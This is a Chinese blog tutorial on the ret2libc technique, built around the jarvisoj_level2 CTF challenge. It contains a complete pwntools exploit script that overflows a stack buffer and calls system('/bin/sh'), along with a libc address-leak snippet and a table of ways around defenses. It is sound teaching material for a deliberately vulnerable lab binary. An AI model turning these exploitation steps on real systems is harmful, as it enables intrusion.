当前位置: 首页 > news >正文

从一道CTF题入门ret2libc:手把手教你用pwntools搞定jarvisoj_level2

从一道CTF题入门ret2libc:手把手教你用pwntools搞定jarvisoj_level2

在二进制安全领域,栈溢出攻击是最基础也最经典的漏洞利用方式。而ret2libc作为栈溢出攻击中的重要技术,能够绕过现代操作系统常见的安全防护机制。本文将以jarvisoj_level2这道经典CTF题目为例,带你从零开始理解ret2libc攻击的原理和实现方法。

1. 理解题目环境与漏洞

首先我们需要对目标程序进行基础分析。使用checksec命令查看程序保护机制:

$ checksec --file=level2 [*] '/home/user/level2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)

关键信息解读:

  • 32位程序:函数调用使用栈传参
  • NX enabled:栈不可执行,排除了shellcode注入的可能
  • No PIE:代码段地址固定,便于计算偏移

通过IDA反编译可以看到vulnerable_function中存在明显的栈溢出漏洞:

char buf[136]; // 栈缓冲区大小 read(0, buf, 0x100); // 允许读取256字节

这里存在120字节(256-136)的溢出空间,足以覆盖返回地址。

2. ret2libc攻击原理详解

当程序开启NX保护后,传统的shellcode注入方式失效。ret2libc技术通过重用程序本身或libc中的函数来实现攻击目的。

2.1 基本攻击流程

  1. 找到目标函数(如system
  2. 构造合适的参数(如/bin/sh
  3. 覆盖返回地址跳转到目标函数
  4. 布置栈结构模拟正常函数调用

在32位系统中,函数调用时栈布局如下:

| 参数n | | ... | | 参数1 | | 返回地址 | | 旧ebp | | 局部变量 |

因此我们的payload结构应该是:

[padding] + [system地址] + [返回地址] + [参数地址]

2.2 关键地址获取

我们需要获取以下关键地址:

  • system函数地址
  • /bin/sh字符串地址
  • 合适的返回地址(如mainexit

通过IDA可以找到:

system_plt = 0x08048320 # .plt表中的system binsh_addr = 0x0804A024 # 程序中的"/bin/sh"字符串 main_addr = 0x08048480 # main函数地址

3. 使用pwntools构造利用脚本

pwntools是CTF中最常用的漏洞利用框架,下面我们一步步构建攻击脚本。

3.1 基础脚本框架

from pwn import * context(arch='i386', os='linux') p = process('./level2') # 本地测试 # p = remote("node5.buuoj.cn", 29654) # 远程连接

3.2 计算padding长度

通过调试确定覆盖返回地址需要的padding长度:

# 使用cyclic生成测试pattern payload = cyclic(200) p.sendline(payload) p.wait() core = p.corefile padding = cyclic_find(core.eip) # 这里得到140

3.3 构造完整payload

payload = flat( b'A' * padding, p32(system_plt), # 覆盖返回地址为system p32(main_addr), # system返回后跳转到main p32(binsh_addr) # system的参数 )

3.4 完整利用脚本

from pwn import * context(arch='i386', os='linux') def exploit(): p = process('./level2') system_plt = 0x08048320 binsh_addr = 0x0804A024 main_addr = 0x08048480 padding = 140 payload = flat( b'A' * padding, p32(system_plt), p32(main_addr), p32(binsh_addr) ) p.sendline(payload) p.interactive() if __name__ == '__main__': exploit()

4. 攻击技术深入解析

4.1 动态链接与PLT/GOT

理解动态链接机制对ret2libc攻击至关重要:

组件作用在攻击中的意义
PLT过程链接表,函数调用的跳板提供固定的函数跳转地址
GOT全局偏移表,存储实际函数地址攻击时可被覆写改变程序流向
ld.so动态链接器负责解析和加载实际函数地址

当程序第一次调用函数时:

  1. 跳转到PLT表项
  2. PLT跳转到GOT表(初始为空)
  3. 触发动态链接器解析实际地址
  4. 将实际地址写入GOT
  5. 跳转到实际函数

后续调用直接通过GOT跳转。

4.2 地址泄露技术

当ASLR开启时,libc地址随机化,我们需要先泄露libc地址。常见方法:

  1. 通过格式化字符串漏洞泄露
  2. 通过puts/printf输出GOT表中的函数地址
  3. 计算libc基址:
leaked_addr = u32(p.recv(4)) libc_base = leaked_addr - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system']

5. 防御措施与绕过方法

现代系统有多种防护机制对抗ret2libc攻击:

防护机制作用绕过方法
ASLR地址空间随机化先泄露地址计算偏移
RELRO保护GOT表寻找其他可用函数
Stack Canary检测栈破坏泄露canary值或覆盖不触发检查

在本题中,由于没有开启PIE和Full RELRO,使得ret2libc攻击相对容易实现。

6. 扩展练习与学习资源

为了巩固ret2libc技术,推荐尝试以下题目:

  • BUUCTF: jarvisoj_level3
  • Pwnable: fd, collision
  • CTF Wiki练习题

深入学习资源:

  • 《Hacking: The Art of Exploitation》
  • LiveOverflow YouTube频道
  • ROP Emporium挑战系列

记住,在实战中每个漏洞利用都需要根据具体情况调整策略。理解原理比记住payload更重要,这才是成为优秀安全研究人员的正确路径。

http://www.jsqmd.com/news/578052/

相关文章:

  • 【OpenClaw从入门到精通】第54篇:物理隔离“龙虾”——傻福虾盘与Docker沙箱实战对比(2026实测版)
  • Camera2 API架构基础:Android视频系统的大门
  • SQL Server 兼容性设置导致 EF Core Contains 查询失败?手把手教你修复
  • OpenOCD实战指南:调试适配器配置详解
  • 从混淆矩阵到工业实践:深度解析故障检测核心指标的计算与权衡
  • 5G NR帧结构与信道:从基础原理到实际应用
  • 基于PLC的花卉生长控制系统设计与仿真
  • 泛微Ecology数据库小白必看:三张表搞定待办、已办、办结查询(附完整SQL及字段解释)
  • 避坑指南:Win10 LTSC 2021安装kb5017308补丁后可能遇到的新问题及解决方法
  • RocksDB Java API避坑指南:事务、列族与迭代器,这些细节你注意了吗?
  • Numpy 第五章 数学函数
  • R语言孟德尔随机化环境搭建:手把手教你搞定gwasvcf、gwasglue等包的安装报错
  • 从踩坑到跑通:一个SOEM控制伺服电机的完整C语言实战记录(附23位编码器配置)
  • MOEA/D算法实战:从多目标背包问题到性能优化全解析
  • 高性能VC散热技术:突破笔电与数据产品的散热瓶颈
  • WSL2-Ubuntu18.04进阶指南:通过VNC与XFCE4打造高效远程开发环境
  • 使用 OpenTelemetry 和 Elastic 的 ML 和 AI Ops 可观测性
  • 2026无锡比较好的代办营业执照公司推荐有哪些?代办公司/资质代办/代办营业执照/注册公司,代办营业执照公司选哪家 - 品牌推荐师
  • ABB机器人X6-WAN口多协议共存实战:NFS、Socket、RobotStudio与Profinet如何和谐共处?
  • Product Hunt 每日热榜 | 2026-04-02
  • 从防撞自行车到智能草莓采摘机:聊聊OAK(OpenCV AI Kit)创始人的脑洞与开源生态
  • 电流监测是设备健康诊断的常用手段。上周帮同事调试电机时,发现异常振动——这时候频谱分析就能派上用场了。先来段基础电流分析的代码
  • 在x86环境构建龙芯兼容的Debian系统(mips64el):从交叉编译到系统优化
  • 物联网智能小车实战:L9110S、TB6612FNG与DRV8833电机驱动模块深度对比与应用指南
  • 用两片74LS73芯片,手把手教你搭建一个四位二进制计数器(附完整电路图与波形分析)
  • 1079div1A. Game with a Fraction
  • 从YOLOv5到YOLOv11:聊聊为什么Ultralytics还在用CNN,以及我踩过的那些坑
  • 艾奇GEO:零售企业AI搜索转化低破局指南——从流量到意图的精准匹配逻辑 - 小白条111
  • 入行热设计近20年,我整理了一份新手入门指南(价值/流程/资料/避坑)
  • ICMP协议实战指南:从原理到网络诊断